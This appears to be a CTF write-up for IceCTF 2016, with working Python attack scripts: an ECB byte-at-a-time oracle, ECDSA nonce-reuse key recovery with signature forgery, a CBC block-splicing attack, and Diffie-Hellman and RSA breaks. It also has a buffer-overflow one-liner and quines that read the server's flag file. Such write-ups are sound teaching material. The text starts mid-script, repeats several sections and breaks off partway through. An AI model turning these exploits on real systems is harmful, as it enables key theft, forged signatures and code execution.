reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
The code passes, so we are fine. Now, how do we solve a modular square root in squared prime modulus x²? First of all, we can solve the simpler problem in the smaller field Zₓ. We can use for instance PARI/GP `factor(x^2 - Mod(c%p,p))`. We now have the square roots
```pythonm1 = 1197994153960868322171729195459307471159014839759650672537999577796225328187763637327668629736211144613889331673398920144625276893868173955281904541942494m2 = p - m1```
We now need to lift it to square modulus, i.e., m₁ mod x². We achieve this as follows
```pythonq = (c - m1 ** 2) / pl = q * libnum.modular.invmod(2 * m1, p)m = m1 + l * p
print libnum.n2s(m % N)```
Running this, we get the flag```IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}```### Contract (130 p)
```Our contractors stole the flag! They put it on their file server and challenged us to get it back. Can you do it for us? nc contract.vuln.icec.tf 6002 server.py. We did intercept someone connecting to the server though, maybe it will help. contract.pcapng ```
This is clearly a nonce reuse, which leads to a standard attack. First, we compute the secret value k = (z₁ - z2) × (s₁ - s2)⁻¹ using a signature pair. Then, using a single signature in conjunction with k, we may find d = (s₁ × k - z₁) × (r₁)⁻¹. All modular operations are performed mod n.Embodied in Python, the attack is performed as follows.
```pythonimport hashlib, libnum, binascii, socketfrom ecdsa import VerifyingKey, SigningKey
def send(message): s = socket.create_connection(('contract.vuln.icec.tf', 6002)) s.send(message + '\n') print s.recv(1024) print s.recv(1024) return
PUBLIC_KEY = '''-----BEGIN PUBLIC KEY-----MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEgTxPtDMGS8oOT3h6fLvYyUGq/BWeKiCBsQPyD0+2vybIT/Xdl6hOqQd74zr4U2dkj+2q6+vwQ4DCB1X7HsFZ5JczfkO7HCdYI7sGDvd9eUias/xPdSIL3gMbs26b0Ww0-----END PUBLIC KEY-----'''
vk = VerifyingKey.from_pem(PUBLIC_KEY.strip())n = vk.pubkey.order
help_cmd = 'help:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156cfd7287caf75247c9a32e52ab8260e7ff1e46e55594aea88731bee163035f9ee31f2c2965ac7b2cdfca6100d10ba23826'time_cmd = 'time:c0e1fc4e3858ac6334cc8798fdec40790d7ad361ffc691c26f2902c41f2b7c2fd1ca916de687858953a6405423fe156c0cbebcec222f83dc9dd5b0d4d8e698a08ddecb79e6c3b35fc2caaa4543d58a45603639647364983301565728b504015d'read_flag_cmd = 'read flag.txt'
msg1, sig1 = help_cmd.split(':')msg2, sig2 = time_cmd.split(':')z1 = int(hashlib.sha256(msg1).hexdigest(), 16)z2 = int(hashlib.sha256(msg2).hexdigest(), 16)r1 = int(sig1[0 : len(sig1)/2], 16)s1 = int(sig1[len(sig1)/2 : len(sig1)], 16)r2 = int(sig2[0 : len(sig2)/2], 16)s2 = int(sig2[len(sig2)/2 : len(sig2)], 16)
k = libnum.modular.invmod(s1 - s2, n) * (z1 - z2) % nd = (s1 * k - z1) * libnum.modular.invmod(r1, n) % nsk = SigningKey.from_secret_exponent(d, curve=vk.curve)
send(read_flag_cmd + ':' + binascii.hexlify(sk.sign(read_flag_cmd, hashfunc=hashlib.sha256)))```
Once run, the server responds ```IceCTF{a_f0rged_signatur3_is_as_g00d_as_a_real_1}```
### Flagstaff (160 p)
```Someone hid his flag here... guess we better give up.
nc flagstaff.vuln.icec.tf 6003 server.py ```
The task is to find a ciphertext which decrypts to `flag` + padding.
```pythonimport socket, base64
def send(commands): s = socket.create_connection(('flagstaff.vuln.icec.tf', 6003)) s.recv(1024) print s.recv(1024) for cmd in commands: print '>> Sending:', cmd s.send(cmd + '\n') data = s.recv(1024).strip('\n') s.recv(1024) return data
data = 'flag' + '\x0c' * 0xcencrypted = send(['decrypt', base64.b64encode(data + data)])c = base64.b64decode(encrypted)[0:16]data = send(['secret', base64.b64encode(c + data)])data = send(['decrypt', data])print 'FLAG:', base64.b64decode(data)```
Running the code, we get
```Send me a command: >> Sending: decrypt>> Sending: ZmxhZwwMDAwMDAwMDAwMDGZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: secret>> Sending: gaugSIvRkYtiHvaA8LepemZsYWcMDAwMDAwMDAwMDAw=Send me a command: >> Sending: decrypt>> Sending: ZEkWhSKVwJ/Z8MQYzdMH6ZaHqAcoEKg4GxKzlHc7I4tDmi5tKnPGE3rm/D5ZJpHbHuxv8yNCNqLVU0g7yOSi7Ic3xgP7Ke7kEADYzQQGtsc=FLAG: IceCTF{reverse_all_the_blocks_and_get_to_the_meaning_behind}```
### Attack of the Hellman! (200 p)
```We managed to intercept a flag transmission but it was encrypted :(. We got the Diffie-Hellman public key exchange parameters and some scripts they used for the transmission along with the encrypted flag.
Can you get it for us? ````
According to the scripts, the secret A is generated properly. What about B? If it is small enough (say, less than N), we can use a time-memory trade-off (or meet-in-the-middle). Such a trade-off requires O(√N) time and the same magnitude of memory.
```pythonimport base36
p=0x113b7d158a909efadc7216ca15fd51c419eb41ab108e0aa1d45da70c78185593d44bdb402476181c008ef36bc5378b0ad4c868ca4ed4f754c3c1b1f0891bcd8ad7d3db07251de90f4362cb5895f836eec8851d3fe3d68083db8a63053ec4078a55df017f1d43393f3aa2a453bb334417671731731e1e7687c77d104ff76aed523b6980831a4c4b55d74c4de77462d9a596ce7fcb3090d0abb8f94989c1b3701e533ebd722c855fba9ff17d64ce9b3306841157ee49b1c1fb3a38c93b9faaa84efcfdceba923b73b8682835ca322a1350bcc322d7eb34259d8302f55157c2c5d72c8aebb7b57f9f08809ee034258cf2e3c8e0982a155b72fdc79432eceb83b49d9g=0xa9074b6e6d5bba3d024b90eeaee1f5b969fee32c5c25b91698755450509a8beb4100b046c9c6601981e208bc6e505aa67fdd224eff829a8cd8ebc1267c2cb4192b18ab1bcf5dba908e2cd849be038b5d52d5cf836eed63ee54fab1838a7152361a298bbeab3cc2d6f2b84097622fa5493dca99b4b6a648dcc886b607a8dc9590d995cf2e1f24ac5f277a2260d34410dc3b832ed6dc4928e92dfa8a807ddbdf77574d7bb34a45ca08bb7c8b89aa1fd1380abcbd75f99d3e819da9617356b650f9cc21ccffe913b09ca547967bb12feedbdb97730ccff09cc63aab6f6fc7b33392211da29bf32538b38a514cad4ea271e97618e39b0ab7cb152499093b7afbae2fA=0x18776a5cf81fc30572aa9682dfb2f7d606e8073de536853dd9be8a391261dcca6cebea2a2b1337f2a057d238152729cea6983a8ef2b111d8096f212db771229830e2e6d4839a37355d4efb265183f199cd573fa99a38183e7ee3cc7fdac7c92078b6c1535b142965379f1c7e73d5a95725dfb75749529a687bf9b7e01a0b4511a05d96999608c2527a0308f2360d26706233d451f62edc8f2e76fde85c631b601d12a828657efe65aba78fccd46d79a84bc3380da71fad6472d9e666fd99fbd7c154555501b608d4cef875099e037eef3712a5e3108f95c1e01b2a8f0961569c77738a459b65b0ac39109b30ab3226d7b92a1db080a99bbb86f6e96266b13df7B=0xbecd8332380e8c0f3969602e4924473ade119dad5fe6f2d9582dc8196ae85dfa80fab3c001f8bea1ca6c63b9f8f264742beaede2bd11c86bf4d6a0fa7df1dd84da318a7142f2228dbb8dd37a5a3c5a772dd2c744184a41743f4286ba2ccfa431c1571cd63a9ee1bb398b4dd09ccaa426b37f72f4452c2f37a96634e8d6604362e2836891818e9744f00323ade93e10aa1785cc1865fff57ec5caacf74b11ebed16384613145a2e33141a9523252b952cf0eb9c33914d067b66a2a03133f044f336efee054eec905dfa14af970f556b44c52e3814e0914a2393bb56da5aca7b88c45fcaf02f76fc9718746c15901b8ea86801f0b07eca7385dd1cb6991e65e421
table = {}S = 0
print '[-] Generating table...'
for i in range(0, 2**33, 2**20): # sufficient bounds table[pow(g, i, p)] = i
print '[-] Performing look-up in table...'
for i in range(0, 2**18): B = (B * g) % p if B in table: print ' >> B = g ^', table[B] - i S = pow(A, table[B] - i, p) break
print '[+] Key found:\n\n', base36.dumps(S), '\n'```
I saved the code as `hellman.py` and did the following terminal magic:
```$ python hellman.py [-] Generating table...[-] Performing look-up in table... >> B = g ^ 4856995548[+] Key found:
1kqgc7f6xza9dbakto3h58hin09x7pbh28tb288r4xrrrdshcymf6c5pgt03kfirpvc75aboptmn6qzuga4ka753wz5w0sokp1i8u787qklcecnhd0wp2l6i73wesuxsl958vsmobt0e4b24mycgk9e65vkk5xxp4es6hujivdgxonn5dsvb0y5hh5aj59vshz088981qccgzecq3xkg2hdpmbjntbrmd4zsdxfsl8kweabbt0a8n6bgaqafo2e1nibo74c28iaoi7r25k1l7y3sjec040ao54bdwtoohevijf8jc9n94h16kgr1fbzy15eoiu6j49pifo8qeu927ns34iq5409ws41iahkchnofhqjai2r7bpfsen9vwofpckwdsbjovinzn
$ openssl aes-256-cbc -a -d -in flag.enc -out flag.txtenter aes-256-cbc decryption password: [key]$ cat flag.txtIceCTF{cover_your_flags_in_mayonnaise_and_primes_guys}```
Great :-)
# Conclusion
This was a fun CTF, perfect for beginners. Good diversity and entertaining problems, no complicated problems that require no though and only large amounts of work or guessing. Some quirks with unintended vulnerabilities in some challenges along they way, but the organizers did a good job. |
# IceCTF Solutions
This page contains some of the challenges I solved during IceCTF '16.
## Reconnaissance & Forensics### Complacement (40 p)
```These silly bankers have gotten pretty complacent with their self signed SSL certificate. I wonder if there's anything in there. [complacent.vuln.icec.tf]```
### Time Traveler (45 p)
```I can assure you that the flag was on this website (http://time-traveler.icec.tf) at some point in time. ```
Let us try the Wayback Machine!
### Audio problems (45 p)```We intercepted this audio signal, it sounds like there could be something hidden in it. Can you take a look and see if you can find anything? ```
In Audacity, we can get the spectrum:
Feels like I've solved this very same problem a couple of times now... get creative problem makers!
##Web### Toke (45 p)
I have a feeling they were pretty high when they made this [website](http://toke.vuln.icec.tf)...
We create an account and look at the tokens. There is a `jwt_token`, containing
```eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiIxMjM0YWEifQ.tfe4bqNnoRb2OOd7KV88qov5Y6oe55Cs2knKLo28Z7s```
Let us decode it! Among other things, we get ```IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}```### Kitty (80 p)
```They managed to secure their website this time and moved the hashing to the server :(.We managed to leak this hash of the admin's password though!
c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a.
Can you get the flag? [kitty.vuln.icec.tf]```
OK, trying the most simple and obvious... reversing the hash works! The password is `Vo83*`. If we login as `admin` with the password we found, we see:
```Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world}```##Pwn### Demo (55 p)
```I found this awesome premium shell, but my demo version just ran out... can you help me crack it? /home/demo/ on the shell. ```
This is probably not the intended solution. Trying to execute `_=icesh && ./demo` does not work in `zsh`, but it does in `sh`. This requires no spoofing for `argv[0]`, and thus no execve code. Less work!
```[ctf-67751@icectf-shell-2016 /home/demo]$ sh$ _=icesh && ./demo$ cat flag.txtIceCTF{wH0_WoU1d_3vr_7Ru5t_4rgV}```
### Smashing Profit! (60 p)
```Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
/home/profit/ on the shell. ```
OK, let us go to the shell. Not surprisingly, `profit` suffers from a buffer overflow. Loading the binary into Hopper, we see that there is a subroutine @ `0x804850b` which would be suitable to call:
Here is how to exploit the buffer overflow to call the above function:
```[ctf-67751@icectf-shell-2016 /home/profit]$ python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | ./profitSmashing the stack for fun and...?IceCTF{who_would_have_thunk?}[1] 25262 done python -c 'print "A"*76 + "\x08\x04\x85\x0b"[::-1]' | 25263 segmentation fault ./profit```
### Quine I/II (90p / 125p)
This was a really entertaining challenge. The first idea was based on a false assumption, i.e., that the outputted code in the final iteration was not checked. Let us sketch the idea anyways. If we are able to store some data outside the code, we are able to count the iterations without altering the code. The stored data could be in an environment variable (but that turned out to be infeasible) or a file (we could create, read and write files in the sandbox where the code was running).
So, in pseudo code:
```pythonif 'some_file' exists: c = read('some_file') c += 1 if c < 19: print flag with system() call write('some_file', c)else: create('some_file') write('some_file', 0)```We noticed that the code is located in `./sandbox/[random token]-[time]`, so maybe the flag is `../../flag.txt`. This is of course a guess (which turns out to be correct). Encoding the above pseudo code as a quine, we get something like
```cconst char d[]={125,59,10,35,105,110,99,108,117,100,101,32,60,115,116,100,105,111,46,104,62,10,105,110,116,32,109,97,105,110,40,41,123,70,73,76,69,32,42,102,59,102,61,102,111,112,101,110,40,34,103,34,44,34,114,98,43,34,41,59,105,102,40,102,61,61,78,85,76,76,41,102,61,102,111,112,101,110,40,34,103,34,44,34,119,98,34,41,59,99,104,97,114,32,98,61,102,103,101,116,99,40,102,41,59,102,99,108,111,115,101,40,102,41,59,102,61,102,111,112,101,110,40,34,103,34,44,34,119,43,34,41,59,105,102,40,98,60,49,57,41,123,98,43,43,59,102,112,117,116,99,40,98,44,102,41,59,125,101,108,115,101,123,102,61,102,111,112,101,110,40,34,102,108,97,103,34,44,34,114,34,41,59,98,61,102,103,101,116,99,40,102,41,59,119,104,105,108,101,40,98,33,61,69,79,70,41,123,112,114,105,110,116,102,40,34,37,99,34,44,98,41,59,98,61,102,103,101,116,99,40,102,41,59,125,125,102,99,108,111,115,101,40,102,41,59,112,114,105,110,116,102,40,34,99,111,110,115,116,32,99,104,97,114,32,100,91,93,61,123,34,41,59,105,110,116,32,105,59,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,123,112,114,105,110,116,102,40,34,37,100,44,34,44,100,91,105,93,41,59,125,102,111,114,40,105,61,48,59,105,60,115,105,122,101,111,102,40,100,41,59,105,43,43,41,112,117,116,99,104,97,114,40,100,91,105,93,41,59,114,101,116,117,114,110,32,48,59,125,10,};#include <stdio.h>int main(){FILE *f;f=fopen("g","rb+");if(f==NULL)f=fopen("g","wb");char b=fgetc(f);fclose(f);f=fopen("g","w+");if(b<19){b++;fputc(b,f);}else{f=fopen("flag","r");b=fgetc(f);while(b!=EOF){printf("%c",b);b=fgetc(f);}}fclose(f);printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);return 0;}```
Obviously, this did not work. New strategy needed! If we can guess a char of the flag and write the guess to the submitted code, then read the corresponding char from `../../flag.txt` it will accept if and only if they match. So, where do we put our guess? We could put it in a string, but a simpler solution is to write it to a comment. We know that the flag begins with `IceCTF{`, so we can try out our hypothesis and be sure that it is correct. The following code can generate a quine for a certain guess:
```pythonimport sysguess = 'I' # the first char of the flaglength = 1data = '''};#include <stdio.h>int main(){printf("const char d[]={");int i;for(i=0;i<sizeof(d);i++){printf("%d,",d[i]);}for(i=0;i<sizeof(d);i++)putchar(d[i]);FILE *f;f=fopen("../../flag.txt","r");printf("//");for(i=0;i<'''+str(length)+''';i++){char b=fgetc(f);printf("%c",b);};return 0;}'''quine = 'const char d[]={'+''.join(str(ord(c))+',' for c in data) + data.strip('\n')+'//'+guess```
We call it with
```$ python quine_gen.py 1 | cat quine.c | nc quine.vuln.icec.tf 5500...//I```
Now this is where things get interesting! The code obviously works for `I`, but even for incorrect guesses. Also, it prints as many chars of the flag as we like! Seemingly, the server check actually ignores comments, i.e., chars after `//`. So, by setting the read length (`length = sys.argv[1]`) sufficiently large, we can submit auto-generated code as follows:
```$ python quine_gen.py 32 | cat quine.c | nc quine.vuln.icec.tf 5500...//IceCTF{the_flags_of_our_quines}
$ python quine_gen.py 55 | cat quine.c | nc quine.vuln.icec.tf 5501...//IceCTF{my_f1x3d_p0inT_br1nGs_alL_th3_n00bs_t0_th3_y4rD}```
Great! Two challenges solved with two almost identical quines :-D
##Crypto### RSA? (50 p)
```John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt```
OK, let us see that `flag.txt` contains
```$ cat flag.txt
N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
e=0x1
c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
```
John used exponent `0x1`, so m is enevitably the same as c. Therefore, solving this challenge is no harder than `libnum.n2s(c)`, which prints ```IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}```### RSA (60 p)
```This time John managed to use RSA " correctly "&ellipsis; I think he still made some mistakes though. flag.txt ```
Let us take a look...
```$ cat flag.txt
N=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae38c0b9b55c16be0982b596ef929b7c71da3783c1f20557e4803de7d2a91b5a6e85df64249f48b4cf32aec01c12d3e88e014579982ecd046042af370045f09678c9029f8fc38ebaea564c29115e19c7030f245ebb2130cbf9dc1c340e2cf17a625376ca52ad8163cfb2e33b6ecaf55353bc1ff19f8f4dc7551dc5ba36235af9758b
e=0x10001
phi=0x1564aade6f1b9f169dcc94c9787411984cd3878bcd6236c5ce00b4aad6ca7cb0ca8a0334d9fe0726f8b057c4412cfbff75967a91a370a1c1bd185212d46b581676cf750c05bbd349d3586e78b33477a9254f6155576573911d2356931b98fe4fec387da3e9680053e95a4709934289dc0bc5cdc2aa97ce62a6ca6ba25fca6ae366e86eed95d330ffad22705d24e20f9806ce501dda9768d860c8da465370fc70757227e729b9171b9402ead8275bf55d42000d51e16133fec3ba7393b1ced5024ab3e86b79b95ad061828861ebb71d35309559a179c6be8697f8a4f314c9e94c37cbbb46cef5879131958333897532fea4c4ecd24234d4260f54c4e37cb2db1a0
d=0x12314d6d6327261ee18a7c6ce8562c304c05069bc8c8e0b34e0023a3b48cf5849278d3493aa86004b02fa6336b098a3330180b9b9655cdf927896b22402a18fae186828efac14368e0a5af2c4d992cb956d52e7c9899d9b16a0a07318aa28c8202ebf74c50ccf49a6733327dde111393611f915f1e1b82933a2ba164aff93ef4ab2ab64aacc2b0447d437032858f089bcc0ddeebc45c45f8dc357209a423cd49055752bfae278c93134777d6e181be22d4619ef226abb6bfcc4adec696cac131f5bd10c574fa3f543dd7f78aee1d0665992f28cdbcf55a48b32beb7a1c0fa8a9fc38f0c5c271e21b83031653d96d25348f8237b28642ceb69f0b0374413308481
c=0x126c24e146ae36d203bef21fcd88fdeefff50375434f64052c5473ed2d5d2e7ac376707d76601840c6aa9af27df6845733b9e53982a8f8119c455c9c3d5df1488721194a8392b8a97ce6e783e4ca3b715918041465bb2132a1d22f5ae29dd2526093aa505fcb689d8df5780fa1748ea4d632caed82ca923758eb60c3947d2261c17f3a19d276c2054b6bf87dcd0c46acf79bff2947e1294a6131a7d8c786bed4a1c0b92a4dd457e54df577fb625ee394ea92b992a2c22e3603bf4568b53cceb451e5daca52c4e7bea7f20dd9075ccfd0af97f931c0703ba8d1a7e00bb010437bb4397ae802750875ae19297a7d8e1a0a367a2d6d9dd03a47d404b36d7defe8469```
We have d (and ϕ), so `libnum.n2s(pow(c,d,N))` gives ```IceCTF{rsa_is_awesome_when_used_correctly_but_horrible_when_not}```### RSA2 (60 p)
```I guess the 3rd time is the charm? Or not... flag.txt
$ cat flag.txt
N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
e=0x10001
c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
```
Looking up N on [factordb.com](http://factordb.com), we find that it has a very small factor 57970027. Hence, we may compute ϕ(N) = (57970027 - 1) × (N / 57970027 - 1). Finally, the secret exponent is d = e⁻¹ mod ϕ(N). Knowning this, we may decrypt c.
The code
```pythonphi = (57970027 - 1) * (N / 57970027 - 1)d = libnum.modular.invmod(e, phi)print libnum.n2s(pow(c, d, N))```
prints
```IceCTF{next_time_check_your_keys_arent_factorable}```
### l33tcrypt (90 p)
```l33tcrypt is a new and fresh encryption service. For added security it pads all information with the flag! Can you get it? nc l33tcrypt.vuln.icec.tf 6001 server.py```
The server AES encrypts a string S along with the flag and some padding and returns the BASE64 encoded, i.e., as outlined below.
```pythondef server(string): ciphertext = encrypt(string + flag + padding) return b64encode(ciphertext)```
The AES encryption function operates on blocks of size 128 bits. Assume that we have a block as follows, where we have padded the plaintext with `AAAAAAAAAAAAAAAA` and where `???...` corresponds to the flag. The last char in the block is the first byte of the flag.
```
... AAAAAAAAAAAAAAAA? ????????????????|----------------|-----------------|----------------|
0xb4ff343...
```
We save the current block value `0xb4ff343...`. Now, we run the guessing procedure:
```
... AAAAAAAAAAAAAAAAx ????????????????|----------------|-----------------|----------------|
x = 'G' 0x57388f8... x = 'H' 0x343409f... X = 'I' 0xb4ff343... <-- correct guess
```
Obviously, we can choose a block `AAAAAAAAAAAAAAA??` and guess the second byte and so forth until the whole flag is found. We may implement it in Python as follows:
```pythonimport base64, socket, string
magic = 'l33tserver please'
def oracle(plaintext): s = socket.create_connection(('l33tcrypt.vuln.icec.tf', 6001)) s.recv(1024) s.recv(1024) s.send(base64.b64encode(magic + plaintext) + '\n') s.recv(1024) return base64.b64decode(s.recv(1024)) known_prefix = 'IceCTF{'
print '[+] Running trying plaintexts...'
while True:
i = 16 * 4 - 2 - len(known_prefix)
reference = oracle(i * 'A')[0:80] for guess in '_' + string.ascii_letters + string.digits + '}': if reference == oracle(i * 'A' + known_prefix + guess)[0:80]: known_prefix = known_prefix + guess print known_prefix break if guess == '}': print '[+] DONE!' break```
The code takes some time to run (could be threaded for improved performance). When it is done, it will have given the flag ```IceCTF{unleash_th3_Blocks_aNd_find_what_you_seek}```### Over the Hill (65 p)
```Over the hills and far away... many times I've gazed, many times been bitten. Many dreams come true and some have silver linings, I live for my dream of a decrypted flag. crypted ```
We are given a matrix and a ciphertext
```pythonsecret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]] ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"```
Looks like a Hill cipher... the name vaguely suggests it... :-)
```python
import numpyfrom sage.all import *
alphabet = ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}")n = len(alphabet)
Zn = IntegerModRing(n)
secret = [[54, 53, 28, 20, 54, 15, 12, 7], [32, 14, 24, 5, 63, 12, 50, 52], [63, 59, 40, 18, 55, 33, 17, 3], [63, 34, 5, 4, 56, 10, 53, 16], [35, 43, 45, 53, 12, 42, 35, 37], [20, 59, 42, 10, 46, 56, 12, 61], [26, 39, 27, 59, 44, 54, 23, 56], [32, 31, 56, 47, 31, 2, 29, 41]]
secret = matrix(Zn, secret).inverse()ciphertext = "7Nv7}dI9hD9qGmP}CR_5wJDdkj4CKxd45rko1cj51DpHPnNDb__EXDotSRCP8ZCQ"
blocks = [ciphertext[i : i + secret.ncols()] for i in range(0, len(ciphertext), secret.ncols())]
plaintext = ''
for block in blocks: decrypted_block = secret * matrix(Zn, [alphabet.find(c) for c in block]).transpose() plaintext += ''.join(alphabet[int(i[0])] for i in decrypted_block) print plaintext
```
Invoked with `sage -python over_the_hill.py` gives ```IceCTF{linear_algebra_plus_led_zeppelin_are_a_beautiful_m1xture}```### Round Rabins (70 p)
Breaking Rabin cryptosystem is hard if the primes were chosen properly. This is probably the flaw here, or the challenge would be computationally hard. Lets try [factordb.com](http://factordb.com). It reports that `N` is square. OK, great.
```python
import libnum
N = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
x = libnum.common.nroot(N, 2)assert(N == x ** 2)
```
